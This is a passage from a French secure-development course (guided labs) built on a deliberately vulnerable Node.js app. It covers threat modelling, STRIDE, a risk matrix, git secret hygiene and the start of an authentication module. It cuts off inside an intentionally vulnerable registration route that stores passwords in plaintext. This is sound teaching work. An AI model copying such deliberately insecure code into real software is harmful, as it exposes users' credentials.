

Développement Sécurisé

Un grand TP guidé. Tu audites, tu exploites en cadre maîtrisé, tu corriges, tu testes, tu documentes. Pas de théorie longue, chaque idée déclenche une manipulation.

Sommaire

PARTIE I · PRÉAMBULE

Présentation du cours	p. 3
Comment fonctionne ce cours	p. 4
Deux parcours : ton app ou l'app vulnérable fournie	p. 5
Catalogue des projets fil rouge	p. 7

PARTIE II · MODULES

M1. Cadrer avant de coder	p. 13
M2. Verrouiller l'authentification	p. 28
M3. Décider qui peut quoi	p. 44
M4. Filtrer ce qui entre, échapper ce qui sort	p. 60
M5. Durcir le navigateur et le canal	p. 76
M6. Sortir les secrets du code	p. 88
M7. Auditer, prouver, rendre	p. 100

PARTIE III · ANNEXES

Annexe A · Modèle de rapport d'audit	p. 124
Annexe B · Checklist OWASP Top 10	p. 131
Annexe C · Quiz d'auto-vérification, 25 QCM corrigés	p. 135

FORMAT DU COURS

Chaque concept de sécurité suit la même séquence courte : un rappel de cinq à dix lignes, le risque concret, un exemple de faille, l'action à faire dans ton application, le test qui doit échouer après correction, et la phrase à mettre dans le rapport. Tu ne lis pas pour le plaisir, tu lis pour faire.

Préface · Mode d'emploi du cours

Pourquoi ce cours

La plupart des cours de sécurité applicative sont théoriques. On lit des listes de vulnérabilités, on regarde des schémas, et le jour où il faut sécuriser une vraie application, on ne sait pas par où commencer.

Ce cours fait l'inverse. À chaque concept, tu fais une manipulation sur une application réelle, tu vérifies que ça marche, et tu écris ce que tu as fait. À la fin, tu rends un rapport pro de sécurisation, pas un cours appris par cœur.

Comment lire ce document

Chaque module suit toujours la même cadence :

1. Rappel concept (5 à 10 lignes, juste pour comprendre l'action)
2. Risque concret
3. Exemple de faille
4. Action à faire dans ton application
5. Test de validation
6. Trace à mettre dans le rapport

Tu n'es jamais en train de lire pour le plaisir. Tu lis pour faire, et tu écris ce que tu fais.

Deux parcours

Parcours A · Tu as déjà une application

Stage, mémoire, projet perso : tu l'utilises comme support d'audit. Vérifie qu'elle remplit les pré-requis fonctionnels (page suivante).

Parcours B · Tu n'as pas d'application

Tu utilises l'application vulnérable fournie dans `vuln-app/`. C'est une API Node.js + Express + SQLite avec des failles intentionnelles. Tu la clones, tu la lances, tu l'audites, tu la corriges.

```
git clone https://github.com/AbidHamza/dev-securise-m1.git
cd dev-securise-m1/vuln-app
npm install
npm start
# http://localhost:3000
```

⚠ L'application fournie contient des failles intentionnelles. Elle est faite pour tourner en local. Ne la déploie jamais sur Internet.

Outils requis

- Un éditeur (VS Code conseillé)
- Node.js 20 ou plus
- Git
- curl ou Postman pour tester les routes
- Un navigateur (Chrome ou Firefox)
- OWASP ZAP (gratuit, utilisé au module 7)

Livrable final

À rendre à la fin :

1. Le code de ton application sécurisée (dépôt Git taggé)
2. Le rapport d'audit et de sécurisation (5 à 10 pages PDF, voir Annexe A)
3. La checklist OWASP cochée (Annexe B)
4. Les captures d'écran des tests d'exploitation (dossier `proofs/`)
5. La grille d'auto-évaluation remplie (Annexe C)
6. Le quiz final rempli (Annexe D)

Comment progresser à ton rythme

Chaque module propose trois niveaux :

- **Minimum (acquis).** Le noyau obligatoire. Fais-le partout avant d'aller plus loin.
- **Intermédiaire (maîtrise).** À ajouter si tu as le temps. Valorisé.
- **Avancé (expert).** Pour dépasser le cadre. Bonus de points.

La régularité bat l'héroïsme. Mieux vaut le niveau Minimum partout que l'Avancé sur un seul module.

Projets fil rouge, Catalogue

Cours · Développement Sécurisé

Chaque étudiant choisit **un** projet. Les exigences de sécurité sont identiques pour tous. Si l'étudiant a déjà un projet (stage, mémoire...), il peut l'utiliser sous réserve qu'il remplisse les pré-requis fonctionnels.

Pré-requis fonctionnels communs

Le projet doit comporter au minimum :

1. **Inscription + connexion** utilisateurs
 2. **Au moins 2 rôles distincts** (ex : `user` , `admin`)
 3. **3 ressources CRUD** (créer, lire, modifier, supprimer)
 4. **Au moins 1 endpoint admin-only**
 5. **Base de données réelle** (SQLite, PostgreSQL, MongoDB...)
 6. **Au moins 1 endpoint manipulant des fichiers ou contenus user**
-

Catalogue · 8 projets

P1 · TaskFlow · Gestion de tâches collaboratives

Stack suggérée : Node.js + Express + SQLite (= l'app vulnérable fournie) **Fonctionnalités** : comptes, tâches privées + partagées, étiquettes, recherche, dashboard admin **Pourquoi riche en sécu** : auth, RBAC, IDOR (tâches d'autres users), recherche (SQLi), XSS dans titres/contenus

P2 · DocVault · Partage sécurisé de documents

Stack suggérée : Python + FastAPI + SQLite **Fonctionnalités** : upload PDF/images, partage par lien temporaire, gestion droits par doc, historique téléchargements **Pourquoi riche en sécu** : upload (path traversal, type), permissions fines, chiffrement at-rest, signed URLs

P3 · MiniShop · Mini e-commerce

Stack suggérée : Node.js + Express + MongoDB **Fonctionnalités** : catalogue, panier, paiement simulé, gestion stock admin, commandes user **Pourquoi riche en sécu** : RBAC vendeur/client/admin, IDOR commandes, race conditions stock, validation prix

P4 · EventHub · Gestion d'événements

Stack suggérée : Django + PostgreSQL **Fonctionnalités :** créer événement, réservation, capacité limitée, espace organisateur, espace participant **Pourquoi riche en sécu :** anti-double-réservation, RBAC organisateur/participant, IDOR participants, validation dates

P5 · BlogSphere · Blog ou forum

Stack suggérée : Next.js + Prisma + PostgreSQL **Fonctionnalités :** articles avec markdown, commentaires, modération, profil user, recherche **Pourquoi riche en sécu :** XSS dans markdown (sanitization), CSRF sur commentaires, IDOR édition, validation slugs

P6 · TicketDesk · Gestion de tickets support

Stack suggérée : Spring Boot + MySQL ou Node + Express **Fonctionnalités :** créer ticket, assigner support, escalade, historique, RBAC client/support/admin **Pourquoi riche en sécu :** isolation multi-clients, RBAC 3 niveaux, IDOR tickets, log audit

P7 · BookRoom · Réservation de salles

Stack suggérée : Flask + SQLite **Fonctionnalités :** calendrier salles, réservation slot, validation manager, alertes **Pourquoi riche en sécu :** anti-conflit slot (race), RBAC user/manager, validation dates futures

P8 · UserAdmin · Gestion utilisateurs (back-office)

Stack suggérée : au choix **Fonctionnalités :** CRUD users, attribution rôles, audit log, recherche, export CSV **Pourquoi riche en sécu :** privilege escalation, audit log obligatoire, validation CSV (injection), sécurisation export

Structure de dépôt commune

Quel que soit le projet choisi :

```

mon-projet-securise/
├─ README.md
├─ .gitignore
├─ .env.example
├─ package.json (ou requirements.txt, pom.xml...)
├─ src/                # code source
│  └─ routes/          # endpoints
│     └─ controllers/  # logique métier
│        └─ middlewares/ # auth, validation, logs
│           └─ models/  # accès données
│              └─ config/ # secrets, env
├─ tests/
│  └─ unit/
│     └─ security/      # tests sécurité (M7)
├─ docs/
│  └─ 00-project-brief.md # M1
│  └─ 01-risk-analysis.md # M1
│  └─ 02-threat-model.md # M1
│  └─ 03-security-choices.md # M2-M6
│  └─ 04-owasp-checklist.md # M7
│  └─ 05-final-report.md # M7
├─ proofs/             # captures exploits/tests
│  └─ M2/ M3/ M4/ M5/ M6/ M7/
└─ public/ (si frontend HTML)

```

Application à chaque module

Quel que soit le projet, chaque module ajoute la même couche de sécurité :

MODULE	CE QUI SE PASSE DANS TON PROJET
M1	Cadrage : actifs, threat model, init repo
M2	Auth (bcrypt + rate limit + erreurs génériques)
M3	RBAC + JWT propre + correction IDOR sur ressources
M4	Toutes les requêtes paramétrées + validation + échappement
M5	Helmet + CSRF + cookies durcis + HTTPS
M6	.env + Winston + erreurs sûres
M7	ZAP + npm audit + tests Jest + rapport final

Niveaux de difficulté par projet

PROJET	MINIMUM	INTERMÉDIAIRE	AVANCÉ
P1 TaskFlow	Tâches privées + 2 rôles	+ partage entre users	+ permissions fines + audit log
P2 DocVault	Upload + permissions basiques	+ signed URLs	+ chiffrement at-rest + scan AV
P3 MiniShop	Catalogue + panier	+ paiement simulé Stripe sandbox	+ détection fraude basique
P4 EventHub	Réservations	+ listes d'attente	+ paiement + remboursement
P5 BlogSphere	Articles + commentaires	+ modération	+ sanitization markdown avancée
P6 TicketDesk	Tickets + RBAC	+ escalade auto	+ SLA + alerting
P7 BookRoom	Slots	+ récurrence	+ multi-bâtiment
P8 UserAdmin	CRUD users	+ import/export	+ 2FA admin obligatoire

Validation du choix de projet (parcours A · projet personnel)

Si tu utilises ton propre projet (stage, mémoire, projet perso), vérifie :

- ☐ Code accessible (Git ou archive)
- ☐ Application fonctionnelle (peut être lancée localement)
- ☐ Au moins 5 routes/endpoints
- ☐ Base de données présente
- ☐ Aucune contrainte légale empêchant l'audit (NDA, propriété intellectuelle)
- ☐ Application fonctionnelle et auditable

MODULE 1

Cadrer avant de coder



Module 1. Cadrer avant de coder

Ce module pose les fondations du projet : initialisation sécurisée du dépôt, inventaire des actifs, modélisation des menaces STRIDE et matrice de risques. Tout est documenté dans `docs/` avant d'écrire une ligne de code correctif.

Objectifs opérationnels

À la fin de ce module, tu auras dans ton application :

- ✓ Un dépôt Git initialisé avec `.gitignore` et `.env.example` corrects
- ✓ `docs/00-project-brief.md` décrivant l'app et son périmètre
- ✓ `docs/01-risk-analysis.md` avec 6 actifs inventoriés
- ✓ `docs/02-threat-model.md` avec le modèle STRIDE sur 3 composants
- ✓ Une matrice de risques Impact × Probabilité documentée
- ✓ Un commit tagué `M1-cadrage`

Carte du module

ÉTAPE	CONCEPT	ACTION TP	TEMPS
0	Intro + brief	Créer <code>docs/00-project-brief.md</code>	10 min
1	Security by Design	Init Git sécurisé (<code>.gitignore</code> , <code>.env.example</code>)	10 min
2	Inventaire des actifs	Lister 6 actifs dans <code>docs/01-risk-analysis.md</code>	15 min
3	Surface d'attaque	Lister endpoints publics / auth / admin	10 min
4	Threat model STRIDE	Appliquer sur 3 composants dans <code>docs/02-threat-model.md</code>	20 min
5	Matrice de risques + risques résiduels	Compléter la matrice, documenter les acceptés	15 min
6	Commit + tag	<code>git tag M1-cadrage</code>	10 min

Parcours

Parcours A, App personnelle : tu appliques toutes les étapes à ton propre projet (API, webapp, etc.).

Parcours B, App vulnérable fournie : tu travailles sur `vuln-app/` (TaskFlow, port 3000). C'est le parcours par défaut si tu n'as pas de projet personnel.

⚠ Les exemples de ce module utilisent TaskFlow comme fil conducteur.

CONCEPT 1, Security by Design

Rappel. “Sécuriser après coup” coûte 10× plus cher que d'intégrer la sécurité dès le départ. Security by Design signifie prendre des décisions sécurisées avant d'écrire du code : choix de bibliothèques, gestion des secrets, contrôle d'accès par défaut restrictif. La règle fondamentale : **par défaut, tout est interdit ; on ouvre ce qui est nécessaire.** Un `.gitignore` oublié avant le premier commit peut exposer des secrets pour toujours dans l'historique Git.

Risque concret	Un fichier <code>.env</code> commité contenant des clés API ou un mot de passe de base de données est indexé par GitHub. Des scanners automatiques (TruffleHog, GitLeaks) le trouvent en moins d'une heure.
Exemple de faille	Secret commité par inadvertance (situation réelle)
À vérifier dans l'app	Est-ce que <code>.env</code> est dans <code>.gitignore</code> ? Est-ce que <code>db/*.db</code> est ignoré ? Est-ce qu'un <code>.env.example</code> existe ?
Correction	Créer <code>.gitignore</code> et <code>.env.example</code> avant tout commit
Test de validation	<code>git status</code> ne doit PAS lister <code>.env</code> ni <code>db/taskflow.db</code>
Trace rapport	“Le dépôt a été initialisé avec un <code>.gitignore</code> couvrant les fichiers <code>.env</code> , les bases SQLite et <code>node_modules</code> . Un <code>.env.example</code> documente les variables requises sans exposer de valeurs réelles.”

Exemple de fichier `.env` qui ne doit JAMAIS être commité :

```
# .env , NE PAS COMMITER
JWT_SECRET=secret123
DB_PASSWORD=Sa$uper123!
PORT=3000
```

Exemple de faille (historique Git) :

```
# Quelqu'un a commité .env par erreur, puis l'a supprimé
git log --all --full-history -- .env
# Le fichier est toujours accessible via :
git show abc1234:.env
# => JWT_SECRET=secret123 est visible pour toujours
```

TP 1, Init Git sécurisé (10 min)**ÉTAPE 1.1, CRÉER .GITIGNORE**

```
# À la racine du projet (ou dans vuln-app/)
cat > .gitignore << 'EOF'
# Secrets et configuration locale
.env
.env.local
.env.*.local

# Base de données SQLite
db/*.db
db/*.db-wal
db/*.db-shm

# Dépendances
node_modules/

# Fichiers uploadés
uploads/

# Logs
*.log
logs/

# OS
.DS_Store
Thumbs.db
EOF
```

ÉTAPE 1.2, CRÉER .ENV.EXAMPLE

```
cat > .env.example << 'EOF'
# Copier ce fichier en .env et remplir les valeurs
PORT=3000
JWT_SECRET=remplacer_par_une_valeur_forte_32_chars_min
NODE_ENV=development
EOF
```

ÉTAPE 1.3, VÉRIFICATION

```
git status
# .env ne doit PAS apparaître dans la liste
# .env.example DOIT apparaître (nouveau fichier non-ignoré)

# Si .env est déjà traqué par erreur :
git rm --cached .env
git commit -m "fix: remove .env from tracking"
```

✓ **Point de vérification :** `git status` ne liste ni `.env` ni `db/taskflow.db`.

CONCEPT 2, Inventaire des actifs

Rappel. On ne peut pas protéger ce qu'on ne connaît pas. Un actif est tout élément qui a de la valeur et qui pourrait être compromis : données, services, secrets, code source. L'inventaire est la première étape de tout audit. Pour chaque actif, on identifie sa valeur (pourquoi il est critique), sa localisation dans le système et son propriétaire fonctionnel. Un actif non inventorié est un actif non protégé.

Risque concret	Sans inventaire, on oublie de protéger la table <code>users</code> ou les fichiers uploadés. L'attaquant cible précisément ce qu'on a oublié de sécuriser.
Exemple de faille	Fichier <code>db/taskflow.db</code> accessible depuis le navigateur car dans un dossier servi en statique
À vérifier dans l'app	Quelles tables SQLite ? Quels fichiers ? Quels secrets ? Quels services tiers ?
Correction	Documenter dans <code>docs/01-risk-analysis.md</code>
Test de validation	Parcourir la liste et confirmer qu'aucun actif critique n'est exposé publiquement
Trace rapport	"L'inventaire des actifs a identifié 6 éléments critiques. La base SQLite <code>taskflow.db</code> et les variables d'environnement <code>JWT_SECRET</code> constituent les actifs à plus haute valeur. Aucun n'est exposé directement au réseau dans la version corrigée."

TP 2, Inventaire des actifs (15 min)

ÉTAPE 2.1, CRÉER `DOCS/01-RISK-ANALYSIS.MD`

```
mkdir -p docs
```

Contenu à rédiger (adapte les valeurs à ton app) :

```
# Analyse de risques, TaskFlow

## 1. Inventaire des actifs

| # | Actif | Type | Localisation | Valeur | Propriétaire |
|---|---|---|---|---|---|
| A1 | Base de données `taskflow.db` | Donnée | `db/taskflow.db` | Critique | Dev/Ops |
| A2 | Mots de passe utilisateurs | Donnée | Table `users.password` | Critique | Métier |
| A3 | Tokens JWT | Secret | Mémoire + cookies client | Élevée | Dev |
| A4 | Variable `JWT_SECRET` | Secret | `.env` / code source | Critique | Dev |
| A5 | Fichiers uploadés | Donnée | `uploads/` | Moyenne | Utilisateur |
| A6 | Code source de l'API | Logiciel | `server/` | Élevée | Dev |
```

ÉTAPE 2.2, SURFACE D'ATTAQUE : LISTER LES ENDPOINTS

Ouvre `server/index.js` et les fichiers dans `server/routes/` :

```
# Lister tous les endpoints déclarés
grep -r "router\.\(get\|post\|put\|delete\|patch\)" vuln-app/server/routes/
```

Résultat attendu pour TaskFlow :

```
## 2. Surface d'attaque

| Endpoint | Méthode | Accès | Données traitées |
|---|---|---|---|
| /auth/register | POST | Public | email, password |
| /auth/login | POST | Public | email, password |
| /tasks | GET | Auth | JWT token |
| /tasks | POST | Auth | title, content |
| /tasks/:id | PUT | Auth | title, content |
| /tasks/:id | DELETE | Auth | id tâche |
| /admin/users | GET | Admin | tous les users |
| /upload | POST | Auth | fichier |
```

✓ **Point de vérification** : chaque endpoint est classé Public / Auth / Admin.

CONCEPT 3, Surface d'attaque

Rappel. La surface d'attaque est l'ensemble des points d'entrée qu'un attaquant peut utiliser pour interagir avec le système. Plus la surface est grande, plus le risque est élevé. On réduit la surface en désactivant ce qui n'est pas nécessaire, en restreignant l'accès aux endpoints sensibles et en validant strictement toutes les entrées. Un endpoint `/admin` accessible sans authentification multiplie la surface par 10.

Risque concret	<code>GET /admin/users</code> retourne tous les comptes si le middleware d'auth est absent ou bypassable.
Exemple de faille	Endpoint admin sans vérification de rôle (voir <code>server/routes/admin.js</code>)
À vérifier dans l'app	Chaque route admin vérifie-t-elle le rôle ? Les routes publiques valident-elles les entrées ?
Correction	Classifier et documenter, la correction effective est en M3 (JWT)
Test de validation	<code>curl</code> <code>http://localhost:3000/admin/users</code> sans token doit retourner 401
Trace rapport	“L'analyse de la surface d'attaque a identifié 8 endpoints. Parmi eux, <code>/admin/users</code> était accessible sans contrôle de rôle dans la version initiale. La surface a été réduite par l'ajout de middlewares d'authentification (corrigé en M3).”

CONCEPT 4, Threat Model STRIDE

Rappel. STRIDE est un cadre mnémotechnique pour identifier les menaces : **S**poofing (usurpation d'identité), **T**ampering (altération de données), **R**epudiation (nier une action), **I**nformation Disclosure (fuite d'information), **D**enial of Service (dénier de service), **E**levation of Privilege (élévation de privilèges). Pour chaque composant critique, on se demande : “Comment un attaquant pourrait-il exploiter cette catégorie ?” Le résultat est un tableau de menaces priorisables.

LETTRE	MENACE	EXEMPLE SUR TASKFLOW
S	Spoofing	Usurper le compte admin si le JWT est forgeable
T	Tampering	Modifier la tâche d'un autre utilisateur via <code>PUT /tasks/:id</code>
R	Repudiation	Aucun log des actions → impossible de prouver qui a supprimé une tâche
I	Information Disclosure	<code>/admin/users</code> expose emails + mots de passe en clair
D	DoS	Brute force illimité sur <code>/auth/login</code> sans rate limit
E	Elevation of Privilege	Changer son rôle de <code>user</code> à <code>admin</code> en forgeant le payload JWT

Risque concret	Sans threat model, les corrections sont réactives. On corrige ce qu'on a trouvé, pas ce qui est le plus dangereux.
Exemple de faille	JWT signé avec <code>secret123</code> → un attaquant peut forger un token <code>role: "admin"</code>
À vérifier dans l'app	Appliquer STRIDE sur : (1) authentification, (2) gestion des tâches, (3) interface admin
Correction	Documenter dans <code>docs/02-threat-model.md</code> , les corrections viendront dans M2, M3, M4
Test de validation	Le document <code>docs/02-threat-model.md</code> contient au moins 3 composants × 6 catégories STRIDE
Trace rapport	“Le threat model STRIDE a été appliqué sur 3 composants critiques (auth, tasks, admin). 14 menaces identifiées, dont 4 de criticité Haute. Les menaces E (Elevation of Privilege via JWT forgeable) et D (DoS par brute force) ont été priorisées en Po.”

TP 3, STRIDE sur 3 composants (20 min)

ÉTAPE 3.1, CRÉER DOCS/02-THREAT-MODEL.MD

```
# Threat Model STRIDE, TaskFlow

## Composant 1 : Authentification (`/auth/register`, `/auth/login`)

| STRIDE | Menace identifiée | Probabilité | Impact | Priorité |
|-----|-----|-----|-----|-----|
| S | Usurpation via token JWT forgé (secret faible) | Haute | Critique | P0 |
| T | Altération du payload JWT (rôle user→admin) | Haute | Critique | P0 |
| R | Aucun log des connexions réussies/échouées | Moyenne | Moyenne | P2 |
| I | Fuite de mots de passe en clair dans les logs | Haute | Critique | P0 |
| D | Brute force illimité sur /login | Haute | Haute | P1 |
| E | Escalade de privilèges via JWT manipulé | Haute | Critique | P0 |

## Composant 2 : Gestion des tâches (`/tasks`)

| STRIDE | Menace identifiée | Probabilité | Impact | Priorité |
|-----|-----|-----|-----|-----|
| S | Accès aux tâches d'un autre utilisateur (IDOR) | Haute | Haute | P0 |
| T | Modification de tâche appartenant à autrui | Haute | Haute | P0 |
| R | Aucun audit trail sur la suppression de tâches | Moyenne | Faible | P3 |
| I | Tâches privées visibles via /admin/users | Haute | Haute | P1 |
| D | Création de tâches en masse (pas de limite) | Faible | Moyenne | P3 |
| E | Lecture tâches admin via manipulation user_id | Moyenne | Haute | P1 |

## Composant 3 : Interface Admin (`/admin/users`)

| STRIDE | Menace identifiée | Probabilité | Impact | Priorité |
|-----|-----|-----|-----|-----|
| S | Accès sans authentification si middleware absent | Haute | Critique | P0 |
| T | Modification de rôle directement en BDD | Faible | Critique | P1 |
| R | Aucun log des actions admin | Moyenne | Haute | P2 |
| I | Exposition de tous les emails + mots de passe | Haute | Critique | P0 |
| D | Suppression en masse d'utilisateurs | Faible | Critique | P2 |
| E | Admin peut lire tokens JWT actifs d'autres users | Faible | Haute | P2 |
```

✓ **Point de vérification** : le document contient 3 tableaux remplis, au moins 2 menaces Po.

CONCEPT 5, Matrice de risques

Rappel. La matrice de risques combine deux axes : **Impact** (conséquence si la menace se réalise) et **Probabilité** (chance que la menace se réalise). Le produit des deux donne une criticité qui permet de prioriser les corrections. On utilise généralement une échelle 1-3 ou 1-5. Ce qui est critique (Impact Haute × Probabilité Haute) se corrige en premier. Ce qui est faible peut être accepté ou mitigé plus tard.

Risque concret	Sans priorisation, on passe du temps sur des risques faibles pendant que des risques critiques restent ouverts.
Exemple de faille	Corriger les headers HTTP (impact moyen) avant de hasher les mots de passe (impact critique) serait une erreur de priorisation.
À vérifier dans l'app	Toutes les menaces STRIDE sont-elles dans la matrice ? Les PO sont-elles bien identifiées ?
Correction	Compléter la section Matrice dans <code>docs/01-risk-analysis.md</code>
Test de validation	Chaque menace PO du threat model a une ligne dans la matrice avec un responsable et une échéance
Trace rapport	“La matrice de risques identifie 4 risques Critiques (mot de passe en clair, JWT forgeable, brute force login, IDOR sur /tasks). Ces 4 risques ont été traités en priorité dans les modules M2, M3 et M4.”

ÉTAPE 4.1, AJOUTER LA MATRICE DANS `DOCS/01-RISK-ANALYSIS.MD`

```
## 3. Matrice de risques
```

#	Menace	Impact (1-3)	Probabilité (1-3)	Score	Priorité	Module
R1	Mots de passe en clair	3	3	9	P0	M2
R2	JWT secret faible + forgeable	3	3	9	P0	M3
R3	Brute force /login sans rate limit	3	3	9	P0	M2
R4	IDOR sur /tasks (accès tâches d'autrui)	3	2	6	P1	M4
R5	Admin sans contrôle de rôle	3	2	6	P1	M3
R6	Injection SQL sur /tasks	3	2	6	P1	M4
R7	Upload sans validation de type	2	2	4	P2	M5
R8	Headers HTTP manquants (helmet)	1	3	3	P2	M5
R9	Stack trace exposée au client	2	3	6	P1	M6

CONCEPT 6, Risques résiduels

Rappel. On ne corrige jamais 100% des risques. Certains sont acceptés parce que le coût de correction dépasse l'impact probable (faible risque, correction complexe), ou parce que la contrainte métier l'impose (ex: pas de 2FA car les utilisateurs ne le veulent pas). Documenter les risques résiduels est une obligation professionnelle : cela prouve que la décision d'accepter un risque a été consciente, pas ignorée. Un risque résiduel non documenté est une faute professionnelle.

Risque concret	Dans un audit, ne pas documenter les risques acceptés crée une ambiguïté : est-ce oublié ou décidé ?
Exemple de faille	Absence de 2FA documentée comme “hors périmètre” vaut mieux que silence total
À vérifier dans l'app	Y a-t-il des menaces STRIDE pour lesquelles on n'a pas de correction dans ce cours ?
Correction	Ajouter une section “Risques résiduels” dans <code>docs/01-risk-analysis.md</code>
Test de validation	Chaque risque résiduel a une justification et un responsable de la décision d'acceptation
Trace rapport	“Les risques résiduels suivants ont été explicitement acceptés pour ce sprint : absence de 2FA (hors périmètre M1), pas d'audit trail complet (reporté). Ces décisions sont documentées et seront réévaluées à chaque sprint.”

ÉTAPE 5.1, AJOUTER LA SECTION DANS `DOCS/01-RISK-ANALYSIS.MD`

```
## 4. Risques résiduels

| # | Risque | Raison d'acceptation | Propriétaire | Réévaluation |
|---|---|---|---|---|
| RR1 | Absence de 2FA | Hors périmètre du cours | Toi | Fin M7 |
| RR2 | Pas d'audit trail complet | Complexité SQLite > bénéfice | Dev | Sprint 2 |
| RR3 | Pas de WAF | Infrastructure hors scope | Ops | Production |
```

TP final, Commit + tag (10 min)

```
# Depuis la racine du projet
git add docs/ .gitignore .env.example
git status # Vérifier ce qui sera commité

git commit -m "M1: cadrage sécurisé, inventaire actifs + STRIDE + matrice
risques"

git tag M1-cadrage
git log --oneline -3 # Vérifier que le tag est bien posé
```

✓ Point de vérification :

```
git tag
# Doit afficher : M1-cadrage
git show M1-cadrage --stat
# Doit lister : docs/00-project-brief.md, docs/01-risk-analysis.md, docs/02-
threat-model.md
```

Mini-quiz du module (8 QCM)

Q1. Que signifie le “D” dans STRIDE ?

- A. Data Exposure
- B. Denial of Service
- C. Directory Traversal
- D. Data Tampering

Q2. Pourquoi un `.gitignore` doit-il être créé avant le premier commit ?

- A. Pour améliorer les performances Git
- B. Pour que Git ignore les fichiers de cache
- C. Parce qu’une suppression ultérieure ne retire pas le fichier de l’historique
- D. Pour éviter les conflits de merge

Q3. Dans une matrice de risques, un risque avec Impact=3 et Probabilité=1 vaut :

- A. 1
- B. 3
- C. 4
- D. 9

Q4. Security by Design signifie principalement :

- A. Avoir un firewall devant l’application
- B. Intégrer la sécurité dès la conception plutôt qu’après développement
- C. Utiliser HTTPS
- D. Faire un audit de sécurité annuel

Q5. Un risque résiduel documenté est :

- A. Un risque ignoré
- B. Un risque qu’on n’a pas su corriger
- C. Un risque consciemment accepté avec justification
- D. Un risque de faible impact uniquement

Q6. Dans STRIDE, “E” (Elevation of Privilege) sur TaskFlow correspond à :

- A. Un utilisateur qui crée trop de tâches

- B. Un attaquant qui forge un JWT avec `role: "admin"`
- C. Un administrateur qui lit les logs
- D. Une fuite de la base de données

Q7. L'inventaire des actifs sert à :

- A. Estimer le coût du projet
- B. Identifier ce qui doit être protégé et pourquoi
- C. Lister les développeurs du projet
- D. Documenter les fonctionnalités

Q8. La surface d'attaque se réduit en :

- A. Ajoutant des fonctionnalités sécurisées
- B. Désactivant les endpoints inutiles et restreignant les accès
- C. Utilisant uniquement HTTPS
- D. Ajoutant de la journalisation

Corrigé

Q	RÉPONSE	POURQUOI
Q1	B	DoS = Denial of Service, rendre le service indisponible
Q2	C	L'historique Git conserve tous les fichiers jamais commités, même supprimés ensuite
Q3	B	$\text{Impact} \times \text{Probabilité} = 3 \times 1 = 3$
Q4	B	Security by Design = sécurité intégrée dès la conception
Q5	C	Risque accepté consciemment $\neq$ risque ignoré
Q6	B	Forger un JWT avec rôle élevé = Elevation of Privilege
Q7	B	Sans inventaire, on ne sait pas quoi protéger
Q8	B	Moins de points d'entrée = surface réduite

Livrable du module

- ☒ `.gitignore` couvrant `.env`, `*.db`, `node_modules/`, `uploads/`
- ☒ `.env.example` avec toutes les variables documentées
- ☒ `docs/00-project-brief.md` (nom app, routes principales, stack technique)

- ☒ docs/01-risk-analysis.md (6 actifs + matrice de risques + risques résiduels)
- ☒ docs/02-threat-model.md (STRIDE sur 3 composants, 18+ menaces)
- ☒ Commit avec tag M1-cadrage

Vérification finale :

```
git tag                # affiche M1-cadrage
ls docs/               # affiche 00-project-brief.md, 01-risk-
analysis.md, 02-threat-model.md
git show --stat M1-cadrage  # liste les fichiers du commit tagué
```

Erreurs fréquentes à éviter

-  **Committer .env avant .gitignore** : l'historique conserve le secret pour toujours. Correction : `git rm --cached .env + rewrite history` (complexe, éviter dès le départ).
-  **STRIDE rempli de façon mécanique** : cocher toutes les cases sans réfléchir au contexte de l'app. Chaque ligne doit être spécifique à TaskFlow, pas générique.
-  **Matrice sans priorités** : identifier les risques sans les ordonner est inutile. Toujours finir par “qu'est-ce qu'on corrige d'abord ?”.
-  **Risques résiduels vides** : une liste vide signifie soit qu'on a tout corrigé (rare), soit qu'on a oublié de documenter les acceptations. Les deux interprétations sont problématiques.
-  **Confondre actif et fonctionnalité** : un actif est quelque chose qui a de la valeur (données, secrets, code), pas une fonctionnalité (“le formulaire de login”).

Ressources

- [OWASP Threat Modeling](#)
- [OWASP STRIDE](#)
- [OWASP Top 10](#)
- [Microsoft Threat Modeling Tool](#)
- [gitignore.io](#), générateur de `.gitignore`
- [TruffleHog](#), scanner de secrets dans Git

MODULE 2

Verrouiller l'authentification



Module 2. Verrouiller l'authentification

Ce module audite et corrige toutes les failles d'authentification de TaskFlow : mots de passe stockés en clair, énumération de comptes, brute force illimité, politique de mot de passe absente. À la fin, la route `/auth` est sécurisée, les comptes existants migrés et les tests de validation passent.

Objectifs opérationnels

À la fin de ce module, tu auras dans `vuln-app/` :

- ✓ Mots de passe hashés avec bcrypt (coût 12) dans la table `users`
- ✓ Messages d'erreur génériques (`"Identifiants invalides"`) dans `/auth/login`
- ✓ Rate limiting actif sur `/auth/login` : 5 tentatives / 15 min
- ✓ Validation de politique de mot de passe (12 caractères minimum)
- ✓ Aucun mot de passe visible dans les logs serveur
- ✓ Script de migration `scripts/migrate-passwords.js` commité
- ✓ Commit tagué `M2-auth-securise`

Carte du module

ÉTAPE	CONCEPT	ACTION TP	TEMPS
1	Audit du code existant	Lire <code>auth.js</code> + identifier les 4 failles	10 min
2	Démonstration exploit	Brute force + énumération de comptes	10 min
3	Hachage bcrypt	Installer bcryptjs + corriger register + migration	20 min
4	Messages génériques	Correction login + test curl	5 min
5	Rate limiting	Installer express-rate-limit + configurer	10 min
6	Tests de validation	6 commandes curl de vérification	10 min

CONCEPT 1, Hachage vs chiffrement

Rappel. Le **chiffrement** est réversible : avec la clé, on récupère la donnée originale (AES, RSA). Il sert à protéger des données qu'on doit relire (messages, fichiers). Le **hachage** est irréversible : on ne peut pas retrouver le mot de passe original à partir du hash. Il sert à vérifier sans stocker. Pour les mots de passe, on hash toujours, on ne chiffre jamais. Si un attaquant vole la base, il obtient des hashes impossibles à inverser directement, pas des mots de passe exploitables.

Risque concret	Si la base SQLite est volée (injection SQL, path traversal, backup mal protégé), les mots de passe en clair sont immédiatement exploitables sur tous les services de l'utilisateur.
Exemple de faille	Voir <code>server/routes/auth.js</code> ligne 24, insertion en clair
À vérifier dans l'app	Ouvrir la DB : <code>sqlite3 db/taskflow.db</code> <code>"SELECT email, password FROM users</code> <code>LIMIT 3"</code>
Correction	Remplacer l'insertion en clair par <code>bcrypt.hash(password, 12)</code>
Test de validation	Après correction, <code>SELECT password FROM users</code> retourne des chaînes commençant par <code>\$2b\$</code>
Trace rapport	“La faille M2-1 (mots de passe en clair) a été corrigée. Après correction, la colonne <code>users.password</code> ne contient que des hashes bcrypt (coût 12). Vérification : <code>SELECT password FROM users LIMIT 1</code> retourne <code>\$2b\$12\$...</code> .”

Code vulnérable (avant) :

```
// server/routes/auth.js, AVANT (vulnérable)
router.post('/register', (req, res) => {
  const { email, password } = req.body;
  // ...
  const stmt = db.prepare('INSERT INTO users (email, password, role) VALUES
  (?, ?, ?)');
